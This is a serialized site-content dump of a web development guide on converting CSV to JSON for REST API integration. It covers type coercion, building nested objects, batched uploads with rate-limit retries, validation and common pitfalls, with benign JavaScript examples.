var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":81223},[81224,81225,81226,81227,81228,81229,81230,81231,81232,81233,81234],{"id":80525,"depth":337,"text":80526},{"id":80535,"depth":337,"text":80536},{"id":80586,"depth":337,"text":80587},{"id":80727,"depth":337,"text":80728},{"id":80856,"depth":337,"text":80857},{"id":80970,"depth":337,"text":80971},{"id":81030,"depth":337,"text":81031},{"id":81123,"depth":337,"text":81124},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Step-by-step guide to converting between CSV and JSON formats. Covers parsing, delimiters, quoting, and common pitfalls.",{"keywords":81237},[81238,81239],"csv-json","csv-json-conversion-guide","\u002Fguides\u002Fcsv-json-conversion-guide",{"title":80520,"description":81235},"guides\u002Fcsv-json-conversion-guide","qUlx9N2IaqkH7v-vWyw9D2L_wPOjkSL9rigFXhVmtjY",{"id":81245,"title":81246,"body":81247,"date":2070,"description":82562,"extension":361,"meta":82563,"navigation":363,"path":82564,"readingTime":889,"seo":82565,"stem":82566,"__hash__":82567},"guides\u002Fguides\u002Fcsv-to-json-api-integration.md","CSV to JSON for API Integration",{"type":8,"value":81248,"toc":82551},[81249,81253,81256,81259,81270,81274,81277,81303,81306,81434,81437,81461,81465,81468,81549,81559,81564,81748,81752,81755,81770,81773,81870,81873,81914,81917,82113,82117,82120,82157,82404,82408,82411,82437,82440,82442,82521,82523,82540,82542,82548],[11,81250,81252],{"id":81251},"why-apis-expect-json-not-csv","Why APIs Expect JSON, Not CSV",[16,81254,81255],{},"REST APIs almost universally accept JSON request bodies. CSV is a spreadsheet format — flat, row-based, and typeless. JSON supports nested objects, arrays, and explicit types. When you need to feed spreadsheet data into an API, you must convert CSV to JSON first.",[16,81257,81258],{},"Common scenarios:",[41,81260,81261,81264,81267],{},[44,81262,81263],{},"Importing a product catalog from a spreadsheet into an e-commerce API",[44,81265,81266],{},"Bulk-uploading user records from a CRM export",[44,81268,81269],{},"Seeding a database through a REST endpoint",[11,81271,81273],{"id":81272},"basic-csv-to-json-conversion","Basic CSV to JSON Conversion",[16,81275,81276],{},"Given this CSV:",[135,81278,81281],{"className":81279,"code":81280,"language":81115,"meta":141,"style":141},"language-csv shiki shiki-themes github-light github-dark","name,email,role\nAlice,alice@example.com,admin\nBob,bob@example.com,user\nCarol,carol@example.com,user\n",[143,81282,81283,81288,81293,81298],{"__ignoreMap":141},[1560,81284,81285],{"class":1562,"line":1563},[1560,81286,81287],{},"name,email,role\n",[1560,81289,81290],{"class":1562,"line":337},[1560,81291,81292],{},"Alice,alice@example.com,admin\n",[1560,81294,81295],{"class":1562,"line":343},[1560,81296,81297],{},"Bob,bob@example.com,user\n",[1560,81299,81300],{"class":1562,"line":365},[1560,81301,81302],{},"Carol,carol@example.com,user\n",[16,81304,81305],{},"The JSON output for API consumption:",[135,81307,81309],{"className":23484,"code":81308,"language":23486,"meta":141,"style":141},"[\n  {\n    \"name\": \"Alice\",\n    \"email\": \"alice@example.com\",\n    \"role\": \"admin\"\n  },\n  {\n    \"name\": \"Bob\",\n    \"email\": \"bob@example.com\",\n    \"role\": \"user\"\n  },\n  {\n    \"name\": \"Carol\",\n    \"email\": \"carol@example.com\",\n    \"role\": \"user\"\n  }\n]\n",[143,81310,81311,81315,81319,81329,81341,81351,81355,81359,81369,81380,81389,81393,81397,81407,81418,81426,81430],{"__ignoreMap":141},[1560,81312,81313],{"class":1562,"line":1563},[1560,81314,80600],{"class":1570},[1560,81316,81317],{"class":1562,"line":337},[1560,81318,80605],{"class":1570},[1560,81320,81321,81323,81325,81327],{"class":1562,"line":343},[1560,81322,37103],{"class":1576},[1560,81324,1663],{"class":1570},[1560,81326,23503],{"class":5634},[1560,81328,11943],{"class":1570},[1560,81330,81331,81334,81336,81339],{"class":1562,"line":365},[1560,81332,81333],{"class":1576},"    \"email\"",[1560,81335,1663],{"class":1570},[1560,81337,81338],{"class":5634},"\"alice@example.com\"",[1560,81340,11943],{"class":1570},[1560,81342,81343,81346,81348],{"class":1562,"line":889},[1560,81344,81345],{"class":1576},"    \"role\"",[1560,81347,1663],{"class":1570},[1560,81349,81350],{"class":5634},"\"admin\"\n",[1560,81352,81353],{"class":1562,"line":1710},[1560,81354,11862],{"class":1570},[1560,81356,81357],{"class":1562,"line":1717},[1560,81358,80605],{"class":1570},[1560,81360,81361,81363,81365,81367],{"class":1562,"line":1747},[1560,81362,37103],{"class":1576},[1560,81364,1663],{"class":1570},[1560,81366,80653],{"class":5634},[1560,81368,11943],{"class":1570},[1560,81370,81371,81373,81375,81378],{"class":1562,"line":2507},[1560,81372,81333],{"class":1576},[1560,81374,1663],{"class":1570},[1560,81376,81377],{"class":5634},"\"bob@example.com\"",[1560,81379,11943],{"class":1570},[1560,81381,81382,81384,81386],{"class":1562,"line":2524},[1560,81383,81345],{"class":1576},[1560,81385,1663],{"class":1570},[1560,81387,81388],{"class":5634},"\"user\"\n",[1560,81390,81391],{"class":1562,"line":2529},[1560,81392,11862],{"class":1570},[1560,81394,81395],{"class":1562,"line":2534},[1560,81396,80605],{"class":1570},[1560,81398,81399,81401,81403,81405],{"class":1562,"line":2542},[1560,81400,37103],{"class":1576},[1560,81402,1663],{"class":1570},[1560,81404,80691],{"class":5634},[1560,81406,11943],{"class":1570},[1560,81408,81409,81411,81413,81416],{"class":1562,"line":2558},[1560,81410,81333],{"class":1576},[1560,81412,1663],{"class":1570},[1560,81414,81415],{"class":5634},"\"carol@example.com\"",[1560,81417,11943],{"class":1570},[1560,81419,81420,81422,81424],{"class":1562,"line":2570},[1560,81421,81345],{"class":1576},[1560,81423,1663],{"class":1570},[1560,81425,81388],{"class":5634},[1560,81427,81428],{"class":1562,"line":6638},[1560,81429,4959],{"class":1570},[1560,81431,81432],{"class":1562,"line":11615},[1560,81433,37203],{"class":1570},[16,81435,81436],{},"Most APIs accept this array-of-objects format directly or wrapped in an envelope:",[135,81438,81440],{"className":23484,"code":81439,"language":23486,"meta":141,"style":141},"{\n  \"users\": [...]\n}\n",[143,81441,81442,81446,81457],{"__ignoreMap":141},[1560,81443,81444],{"class":1562,"line":1563},[1560,81445,23493],{"class":1570},[1560,81447,81448,81451,81453,81455],{"class":1562,"line":337},[1560,81449,81450],{"class":1576},"  \"users\"",[1560,81452,37187],{"class":1570},[1560,81454,24388],{"class":5159},[1560,81456,37203],{"class":1570},[1560,81458,81459],{"class":1562,"line":343},[1560,81460,1585],{"class":1570},[11,81462,81464],{"id":81463},"type-coercion-the-silent-bug-source","Type Coercion: The Silent Bug Source",[16,81466,81467],{},"CSV has no types — everything is a string. APIs often require specific types:",[193,81469,81470,81483],{},[196,81471,81472],{},[199,81473,81474,81477,81480],{},[202,81475,81476],{},"CSV Value",[202,81478,81479],{},"Needed Type",[202,81481,81482],{},"Conversion",[211,81484,81485,81502,81518,81533],{},[199,81486,81487,81491,81494],{},[216,81488,81489],{},[143,81490,22036],{},[216,81492,81493],{},"number",[216,81495,81496,81498,81499,1525],{},[143,81497,22036],{}," (not ",[143,81500,81501],{},"\"25\"",[199,81503,81504,81508,81511],{},[216,81505,81506],{},[143,81507,20533],{},[216,81509,81510],{},"boolean",[216,81512,81513,81498,81515,1525],{},[143,81514,20533],{},[143,81516,81517],{},"\"true\"",[199,81519,81520,81525,81528],{},[216,81521,81522],{},[143,81523,81524],{},"2024-01-15",[216,81526,81527],{},"date string",[216,81529,81530],{},[143,81531,81532],{},"\"2024-01-15\"",[199,81534,81535,81540,81542],{},[216,81536,81537],{},[143,81538,81539],{},"(empty)",[216,81541,80702],{},[216,81543,81544,81498,81546,1525],{},[143,81545,80702],{},[143,81547,81548],{},"\"\"",[16,81550,81551,81552,55616,81555,81558],{},"Without type coercion, you send ",[143,81553,81554],{},"\"age\": \"25\"",[143,81556,81557],{},"\"age\": 25",". Some APIs reject the wrong type silently — the request succeeds but the field is ignored.",[16,81560,81561,81563],{},[47,81562,39330],{},": Define a schema for your conversion:",[135,81565,81567],{"className":1607,"code":81566,"language":1609,"meta":141,"style":141},"const schema = {\n  age: 'number',\n  active: 'boolean',\n  created_at: 'date',\n  notes: 'string'\n};\n\nfunction coerce(value, type) {\n  if (value === '') return null;\n  switch (type) {\n    case 'number': return Number(value);\n    case 'boolean': return value === 'true';\n    case 'date': return value; \u002F\u002F ISO format assumed\n    default: return value;\n  }\n}\n",[143,81568,81569,81580,81590,81600,81610,81618,81622,81626,81644,81664,81672,81690,81711,81728,81740,81744],{"__ignoreMap":141},[1560,81570,81571,81573,81576,81578],{"class":1562,"line":1563},[1560,81572,8180],{"class":1669},[1560,81574,81575],{"class":1576}," schema",[1560,81577,8186],{"class":1669},[1560,81579,1571],{"class":1570},[1560,81581,81582,81585,81588],{"class":1562,"line":337},[1560,81583,81584],{"class":1570},"  age: ",[1560,81586,81587],{"class":5634},"'number'",[1560,81589,11943],{"class":1570},[1560,81591,81592,81595,81598],{"class":1562,"line":343},[1560,81593,81594],{"class":1570},"  active: ",[1560,81596,81597],{"class":5634},"'boolean'",[1560,81599,11943],{"class":1570},[1560,81601,81602,81605,81608],{"class":1562,"line":365},[1560,81603,81604],{"class":1570},"  created_at: ",[1560,81606,81607],{"class":5634},"'date'",[1560,81609,11943],{"class":1570},[1560,81611,81612,81615],{"class":1562,"line":889},[1560,81613,81614],{"class":1570},"  notes: ",[1560,81616,81617],{"class":5634},"'string'\n",[1560,81619,81620],{"class":1562,"line":1710},[1560,81621,6607],{"class":1570},[1560,81623,81624],{"class":1562,"line":1717},[1560,81625,1702],{"emptyLinePlaceholder":363},[1560,81627,81628,81630,81633,81635,81637,81639,81642],{"class":1562,"line":1747},[1560,81629,8648],{"class":1669},[1560,81631,81632],{"class":1566}," coerce",[1560,81634,1688],{"class":1570},[1560,81636,39103],{"class":2219},[1560,81638,1459],{"class":1570},[1560,81640,81641],{"class":2219},"type",[1560,81643,9345],{"class":1570},[1560,81645,81646,81648,81651,81653,81656,81658,81660,81662],{"class":1562,"line":2507},[1560,81647,27984],{"class":1669},[1560,81649,81650],{"class":1570}," (value ",[1560,81652,23122],{"class":1669},[1560,81654,81655],{"class":5634}," ''",[1560,81657,1733],{"class":1570},[1560,81659,28313],{"class":1669},[1560,81661,39053],{"class":1576},[1560,81663,2228],{"class":1570},[1560,81665,81666,81669],{"class":1562,"line":2524},[1560,81667,81668],{"class":1669},"  switch",[1560,81670,81671],{"class":1570}," (type) {\n",[1560,81673,81674,81677,81680,81682,81684,81687],{"class":1562,"line":2529},[1560,81675,81676],{"class":1669},"    case",[1560,81678,81679],{"class":5634}," 'number'",[1560,81681,1663],{"class":1570},[1560,81683,28313],{"class":1669},[1560,81685,81686],{"class":1566}," Number",[1560,81688,81689],{"class":1570},"(value);\n",[1560,81691,81692,81694,81697,81699,81701,81704,81706,81709],{"class":1562,"line":2534},[1560,81693,81676],{"class":1669},[1560,81695,81696],{"class":5634}," 'boolean'",[1560,81698,1663],{"class":1570},[1560,81700,28313],{"class":1669},[1560,81702,81703],{"class":1570}," value ",[1560,81705,23122],{"class":1669},[1560,81707,81708],{"class":5634}," 'true'",[1560,81710,2228],{"class":1570},[1560,81712,81713,81715,81718,81720,81722,81725],{"class":1562,"line":2542},[1560,81714,81676],{"class":1669},[1560,81716,81717],{"class":5634}," 'date'",[1560,81719,1663],{"class":1570},[1560,81721,28313],{"class":1669},[1560,81723,81724],{"class":1570}," value; ",[1560,81726,81727],{"class":1649},"\u002F\u002F ISO format assumed\n",[1560,81729,81730,81733,81735,81737],{"class":1562,"line":2558},[1560,81731,81732],{"class":1669},"    default",[1560,81734,1663],{"class":1570},[1560,81736,28313],{"class":1669},[1560,81738,81739],{"class":1570}," value;\n",[1560,81741,81742],{"class":1562,"line":2570},[1560,81743,4959],{"class":1570},[1560,81745,81746],{"class":1562,"line":6638},[1560,81747,1585],{"class":1570},[11,81749,81751],{"id":81750},"nested-object-construction","Nested Object Construction",[16,81753,81754],{},"APIs often expect nested structures. A flat CSV row:",[135,81756,81758],{"className":81279,"code":81757,"language":81115,"meta":141,"style":141},"name,street,city,zip,role_name,role_level\nAlice,123 Main St,Portland,97201,admin,5\n",[143,81759,81760,81765],{"__ignoreMap":141},[1560,81761,81762],{"class":1562,"line":1563},[1560,81763,81764],{},"name,street,city,zip,role_name,role_level\n",[1560,81766,81767],{"class":1562,"line":337},[1560,81768,81769],{},"Alice,123 Main St,Portland,97201,admin,5\n",[16,81771,81772],{},"Needs to become:",[135,81774,81776],{"className":23484,"code":81775,"language":23486,"meta":141,"style":141},"{\n  \"name\": \"Alice\",\n  \"address\": {\n    \"street\": \"123 Main St\",\n    \"city\": \"Portland\",\n    \"zip\": \"97201\"\n  },\n  \"role\": {\n    \"name\": \"admin\",\n    \"level\": 5\n  }\n}\n",[143,81777,81778,81782,81792,81798,81810,81821,81830,81834,81841,81852,81862,81866],{"__ignoreMap":141},[1560,81779,81780],{"class":1562,"line":1563},[1560,81781,23493],{"class":1570},[1560,81783,81784,81786,81788,81790],{"class":1562,"line":337},[1560,81785,80877],{"class":1576},[1560,81787,1663],{"class":1570},[1560,81789,23503],{"class":5634},[1560,81791,11943],{"class":1570},[1560,81793,81794,81796],{"class":1562,"line":343},[1560,81795,80888],{"class":1576},[1560,81797,37098],{"class":1570},[1560,81799,81800,81803,81805,81808],{"class":1562,"line":365},[1560,81801,81802],{"class":1576},"    \"street\"",[1560,81804,1663],{"class":1570},[1560,81806,81807],{"class":5634},"\"123 Main St\"",[1560,81809,11943],{"class":1570},[1560,81811,81812,81814,81816,81819],{"class":1562,"line":889},[1560,81813,80631],{"class":1576},[1560,81815,1663],{"class":1570},[1560,81817,81818],{"class":5634},"\"Portland\"",[1560,81820,11943],{"class":1570},[1560,81822,81823,81825,81827],{"class":1562,"line":1710},[1560,81824,80906],{"class":1576},[1560,81826,1663],{"class":1570},[1560,81828,81829],{"class":5634},"\"97201\"\n",[1560,81831,81832],{"class":1562,"line":1717},[1560,81833,11862],{"class":1570},[1560,81835,81836,81839],{"class":1562,"line":1747},[1560,81837,81838],{"class":1576},"  \"role\"",[1560,81840,37098],{"class":1570},[1560,81842,81843,81845,81847,81850],{"class":1562,"line":2507},[1560,81844,37103],{"class":1576},[1560,81846,1663],{"class":1570},[1560,81848,81849],{"class":5634},"\"admin\"",[1560,81851,11943],{"class":1570},[1560,81853,81854,81857,81859],{"class":1562,"line":2524},[1560,81855,81856],{"class":1576},"    \"level\"",[1560,81858,1663],{"class":1570},[1560,81860,81861],{"class":1576},"5\n",[1560,81863,81864],{"class":1562,"line":2529},[1560,81865,4959],{"class":1570},[1560,81867,81868],{"class":1562,"line":2534},[1560,81869,1585],{"class":1570},[16,81871,81872],{},"Two approaches:",[193,81874,81875,81887],{},[196,81876,81877],{},[199,81878,81879,81882,81885],{},[202,81880,81881],{},"Approach",[202,81883,81884],{},"CSV Header",[202,81886,81482],{},[211,81888,81889,81901],{},[199,81890,81891,81893,81898],{},[216,81892,80943],{},[216,81894,81895],{},[143,81896,81897],{},"address.street",[216,81899,81900],{},"Parse dots into nested objects",[199,81902,81903,81906,81911],{},[216,81904,81905],{},"Prefix convention",[216,81907,81908],{},[143,81909,81910],{},"addr_street",[216,81912,81913],{},"Map prefixes to parent objects",[16,81915,81916],{},"Dot notation is cleaner for tooling:",[135,81918,81920],{"className":1607,"code":81919,"language":1609,"meta":141,"style":141},"function nest(headers, values) {\n  const obj = {};\n  headers.forEach((header, i) => {\n    const parts = header.split('.');\n    let target = obj;\n    parts.forEach((part, j) => {\n      if (j === parts.length - 1) {\n        target[part] = values[i];\n      } else {\n        target[part] ??= {};\n        target = target[part];\n      }\n    });\n  });\n  return obj;\n}\n",[143,81921,81922,81941,81953,81974,81995,82008,82031,82051,82061,82071,82080,82090,82094,82099,82103,82109],{"__ignoreMap":141},[1560,81923,81924,81926,81929,81931,81934,81936,81939],{"class":1562,"line":1563},[1560,81925,8648],{"class":1669},[1560,81927,81928],{"class":1566}," nest",[1560,81930,1688],{"class":1570},[1560,81932,81933],{"class":2219},"headers",[1560,81935,1459],{"class":1570},[1560,81937,81938],{"class":2219},"values",[1560,81940,9345],{"class":1570},[1560,81942,81943,81945,81948,81950],{"class":1562,"line":337},[1560,81944,28057],{"class":1669},[1560,81946,81947],{"class":1576}," obj",[1560,81949,8186],{"class":1669},[1560,81951,81952],{"class":1570}," {};\n",[1560,81954,81955,81958,81960,81962,81964,81966,81968,81970,81972],{"class":1562,"line":343},[1560,81956,81957],{"class":1570},"  headers.",[1560,81959,11513],{"class":1566},[1560,81961,11495],{"class":1570},[1560,81963,61156],{"class":2219},[1560,81965,1459],{"class":1570},[1560,81967,7975],{"class":2219},[1560,81969,1733],{"class":1570},[1560,81971,11503],{"class":1669},[1560,81973,1571],{"class":1570},[1560,81975,81976,81978,81981,81983,81986,81988,81990,81993],{"class":1562,"line":365},[1560,81977,9385],{"class":1669},[1560,81979,81980],{"class":1576}," parts",[1560,81982,8186],{"class":1669},[1560,81984,81985],{"class":1570}," header.",[1560,81987,9356],{"class":1566},[1560,81989,1688],{"class":1570},[1560,81991,81992],{"class":5634},"'.'",[1560,81994,1744],{"class":1570},[1560,81996,81997,82000,82003,82005],{"class":1562,"line":889},[1560,81998,81999],{"class":1669},"    let",[1560,82001,82002],{"class":1570}," target ",[1560,82004,7297],{"class":1669},[1560,82006,82007],{"class":1570}," obj;\n",[1560,82009,82010,82013,82015,82017,82020,82022,82025,82027,82029],{"class":1562,"line":1710},[1560,82011,82012],{"class":1570},"    parts.",[1560,82014,11513],{"class":1566},[1560,82016,11495],{"class":1570},[1560,82018,82019],{"class":2219},"part",[1560,82021,1459],{"class":1570},[1560,82023,82024],{"class":2219},"j",[1560,82026,1733],{"class":1570},[1560,82028,11503],{"class":1669},[1560,82030,1571],{"class":1570},[1560,82032,82033,82035,82038,82040,82043,82045,82047,82049],{"class":1562,"line":1717},[1560,82034,28220],{"class":1669},[1560,82036,82037],{"class":1570}," (j ",[1560,82039,23122],{"class":1669},[1560,82041,82042],{"class":1570}," parts.",[1560,82044,9418],{"class":1576},[1560,82046,22908],{"class":1669},[1560,82048,18868],{"class":1576},[1560,82050,9345],{"class":1570},[1560,82052,82053,82056,82058],{"class":1562,"line":1747},[1560,82054,82055],{"class":1570},"        target[part] ",[1560,82057,7297],{"class":1669},[1560,82059,82060],{"class":1570}," values[i];\n",[1560,82062,82063,82066,82069],{"class":1562,"line":2507},[1560,82064,82065],{"class":1570},"      } ",[1560,82067,82068],{"class":1669},"else",[1560,82070,1571],{"class":1570},[1560,82072,82073,82075,82078],{"class":1562,"line":2524},[1560,82074,82055],{"class":1570},[1560,82076,82077],{"class":1669},"??=",[1560,82079,81952],{"class":1570},[1560,82081,82082,82085,82087],{"class":1562,"line":2529},[1560,82083,82084],{"class":1570},"        target ",[1560,82086,7297],{"class":1669},[1560,82088,82089],{"class":1570}," target[part];\n",[1560,82091,82092],{"class":1562,"line":2534},[1560,82093,28244],{"class":1570},[1560,82095,82096],{"class":1562,"line":2542},[1560,82097,82098],{"class":1570},"    });\n",[1560,82100,82101],{"class":1562,"line":2558},[1560,82102,11618],{"class":1570},[1560,82104,82105,82107],{"class":1562,"line":2570},[1560,82106,9350],{"class":1669},[1560,82108,82007],{"class":1570},[1560,82110,82111],{"class":1562,"line":6638},[1560,82112,1585],{"class":1570},[11,82114,82116],{"id":82115},"batch-size-and-rate-limits","Batch Size and Rate Limits",[16,82118,82119],{},"APIs impose rate limits. Sending 10,000 records in one request usually fails.",[193,82121,82122,82131],{},[196,82123,82124],{},[199,82125,82126,82128],{},[202,82127,39330],{},[202,82129,82130],{},"How",[211,82132,82133,82141,82149],{},[199,82134,82135,82138],{},[216,82136,82137],{},"Batch splitting",[216,82139,82140],{},"Send 100-500 records per request",[199,82142,82143,82146],{},[216,82144,82145],{},"Retry with backoff",[216,82147,82148],{},"Wait and retry on 429 responses",[199,82150,82151,82154],{},[216,82152,82153],{},"Parallel with limit",[216,82155,82156],{},"Use 3-5 concurrent connections",[135,82158,82160],{"className":1607,"code":82159,"language":1609,"meta":141,"style":141},"async function batchUpload(records, batchSize = 200) {\n  for (let i = 0; i \u003C records.length; i += batchSize) {\n    const batch = records.slice(i, i + batchSize);\n    const response = await fetch('\u002Fapi\u002Fusers\u002Fbulk', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application\u002Fjson' },\n      body: JSON.stringify({ users: batch })\n    });\n    if (response.status === 429) {\n      const retryAfter = response.headers.get('Retry-After') || 5;\n      await new Promise(r => setTimeout(r, retryAfter * 1000));\n      i -= batchSize; \u002F\u002F retry this batch\n    }\n  }\n}\n",[143,82161,82162,82188,82220,82241,82262,82272,82287,82302,82306,82320,82349,82378,82392,82396,82400],{"__ignoreMap":141},[1560,82163,82164,82167,82169,82172,82174,82177,82179,82182,82184,82186],{"class":1562,"line":1563},[1560,82165,82166],{"class":1669},"async",[1560,82168,38314],{"class":1669},[1560,82170,82171],{"class":1566}," batchUpload",[1560,82173,1688],{"class":1570},[1560,82175,82176],{"class":2219},"records",[1560,82178,1459],{"class":1570},[1560,82180,82181],{"class":2219},"batchSize",[1560,82183,8186],{"class":1669},[1560,82185,58847],{"class":1576},[1560,82187,9345],{"class":1570},[1560,82189,82190,82193,82195,82197,82199,82201,82203,82206,82208,82211,82213,82215,82217],{"class":1562,"line":337},[1560,82191,82192],{"class":1669},"  for",[1560,82194,5181],{"class":1570},[1560,82196,41680],{"class":1669},[1560,82198,7950],{"class":1570},[1560,82200,7297],{"class":1669},[1560,82202,13541],{"class":1576},[1560,82204,82205],{"class":1570},"; i ",[1560,82207,6431],{"class":1669},[1560,82209,82210],{"class":1570}," records.",[1560,82212,9418],{"class":1576},[1560,82214,82205],{"class":1570},[1560,82216,28386],{"class":1669},[1560,82218,82219],{"class":1570}," batchSize) {\n",[1560,82221,82222,82224,82227,82229,82231,82233,82236,82238],{"class":1562,"line":343},[1560,82223,9385],{"class":1669},[1560,82225,82226],{"class":1576}," batch",[1560,82228,8186],{"class":1669},[1560,82230,82210],{"class":1570},[1560,82232,38951],{"class":1566},[1560,82234,82235],{"class":1570},"(i, i ",[1560,82237,9448],{"class":1669},[1560,82239,82240],{"class":1570}," batchSize);\n",[1560,82242,82243,82245,82248,82250,82252,82255,82257,82260],{"class":1562,"line":365},[1560,82244,9385],{"class":1669},[1560,82246,82247],{"class":1576}," response",[1560,82249,8186],{"class":1669},[1560,82251,28065],{"class":1669},[1560,82253,82254],{"class":1566}," fetch",[1560,82256,1688],{"class":1570},[1560,82258,82259],{"class":5634},"'\u002Fapi\u002Fusers\u002Fbulk'",[1560,82261,49495],{"class":1570},[1560,82263,82264,82267,82270],{"class":1562,"line":889},[1560,82265,82266],{"class":1570},"      method: ",[1560,82268,82269],{"class":5634},"'POST'",[1560,82271,11943],{"class":1570},[1560,82273,82274,82277,82280,82282,82285],{"class":1562,"line":1710},[1560,82275,82276],{"class":1570},"      headers: { ",[1560,82278,82279],{"class":5634},"'Content-Type'",[1560,82281,1663],{"class":1570},[1560,82283,82284],{"class":5634},"'application\u002Fjson'",[1560,82286,21223],{"class":1570},[1560,82288,82289,82292,82294,82296,82299],{"class":1562,"line":1717},[1560,82290,82291],{"class":1570},"      body: ",[1560,82293,13411],{"class":1576},[1560,82295,468],{"class":1570},[1560,82297,82298],{"class":1566},"stringify",[1560,82300,82301],{"class":1570},"({ users: batch })\n",[1560,82303,82304],{"class":1562,"line":1747},[1560,82305,82098],{"class":1570},[1560,82307,82308,82310,82313,82315,82318],{"class":1562,"line":2507},[1560,82309,11527],{"class":1669},[1560,82311,82312],{"class":1570}," (response.status ",[1560,82314,23122],{"class":1669},[1560,82316,82317],{"class":1576}," 429",[1560,82319,9345],{"class":1570},[1560,82321,82322,82324,82327,82329,82332,82335,82337,82340,82342,82345,82347],{"class":1562,"line":2524},[1560,82323,11535],{"class":1669},[1560,82325,82326],{"class":1576}," retryAfter",[1560,82328,8186],{"class":1669},[1560,82330,82331],{"class":1570}," response.headers.",[1560,82333,82334],{"class":1566},"get",[1560,82336,1688],{"class":1570},[1560,82338,82339],{"class":5634},"'Retry-After'",[1560,82341,1733],{"class":1570},[1560,82343,82344],{"class":1669},"||",[1560,82346,28229],{"class":1576},[1560,82348,2228],{"class":1570},[1560,82350,82351,82354,82356,82359,82361,82363,82365,82368,82371,82373,82376],{"class":1562,"line":2529},[1560,82352,82353],{"class":1669},"      await",[1560,82355,11489],{"class":1669},[1560,82357,82358],{"class":1576}," Promise",[1560,82360,1688],{"class":1570},[1560,82362,23114],{"class":2219},[1560,82364,9378],{"class":1669},[1560,82366,82367],{"class":1566}," setTimeout",[1560,82369,82370],{"class":1570},"(r, retryAfter ",[1560,82372,8069],{"class":1669},[1560,82374,82375],{"class":1576}," 1000",[1560,82377,41941],{"class":1570},[1560,82379,82380,82383,82386,82389],{"class":1562,"line":2534},[1560,82381,82382],{"class":1570},"      i ",[1560,82384,82385],{"class":1669},"-=",[1560,82387,82388],{"class":1570}," batchSize; ",[1560,82390,82391],{"class":1649},"\u002F\u002F retry this batch\n",[1560,82393,82394],{"class":1562,"line":2542},[1560,82395,11612],{"class":1570},[1560,82397,82398],{"class":1562,"line":2558},[1560,82399,4959],{"class":1570},[1560,82401,82402],{"class":1562,"line":2570},[1560,82403,1585],{"class":1570},[11,82405,82407],{"id":82406},"validation-before-sending","Validation Before Sending",[16,82409,82410],{},"Never send converted data straight to the API. Validate first:",[41,82412,82413,82419,82425,82431],{},[44,82414,82415,82418],{},[47,82416,82417],{},"Required fields",": Ensure columns the API demands are not empty",[44,82420,82421,82424],{},[47,82422,82423],{},"Format checks",": Email addresses, phone numbers, date formats",[44,82426,82427,82430],{},[47,82428,82429],{},"Enum values",": Confirm role names match allowed values",[44,82432,82433,82436],{},[47,82434,82435],{},"Uniqueness",": Check for duplicate emails or IDs",[16,82438,82439],{},"A single invalid record can reject an entire batch on strict APIs.",[11,82441,10393],{"id":10392},[193,82443,82444,82455],{},[196,82445,82446],{},[199,82447,82448,82450,82453],{},[202,82449,39509],{},[202,82451,82452],{},"Symptom",[202,82454,3690],{},[211,82456,82457,82470,82485,82496,82507],{},[199,82458,82459,82462,82467],{},[216,82460,82461],{},"String numbers",[216,82463,82464,82465],{},"API ignores ",[143,82466,81554],{},[216,82468,82469],{},"Coerce to Number",[199,82471,82472,82475,82478],{},[216,82473,82474],{},"Empty strings for null",[216,82476,82477],{},"API stores empty string instead of null",[216,82479,82480,82481,5255,82483],{},"Map ",[143,82482,81548],{},[143,82484,80702],{},[199,82486,82487,82490,82493],{},[216,82488,82489],{},"Encoding mismatch",[216,82491,82492],{},"Special characters arrive garbled",[216,82494,82495],{},"Convert CSV to UTF-8 first",[199,82497,82498,82501,82504],{},[216,82499,82500],{},"Duplicate headers",[216,82502,82503],{},"Later column overwrites earlier",[216,82505,82506],{},"Prefix duplicate column names",[199,82508,82509,82512,82515],{},[216,82510,82511],{},"Missing wrapping envelope",[216,82513,82514],{},"API returns 400 Bad Request",[216,82516,82517,82518],{},"Wrap array in ",[143,82519,82520],{},"{ \"data\": [...] }",[11,82522,1355],{"id":1354},[41,82524,82525,82528,82531,82534,82537],{},[44,82526,82527],{},"REST APIs expect JSON — CSV must be converted before integration",[44,82529,82530],{},"Type coercion prevents silent failures where string values replace expected numbers or booleans",[44,82532,82533],{},"Dot-notation headers simplify nested object construction from flat CSV rows",[44,82535,82536],{},"Batch uploads with retry logic handle rate limits and large datasets",[44,82538,82539],{},"Validate every record before sending — one bad row can reject the entire batch",[11,82541,286],{"id":285},[16,82543,82544,82545,82547],{},"Convert your CSV files to JSON instantly with our ",[98,82546,81194],{"href":81193},". Paste CSV, choose options, and get API-ready JSON in seconds.",[2043,82549,82550],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki 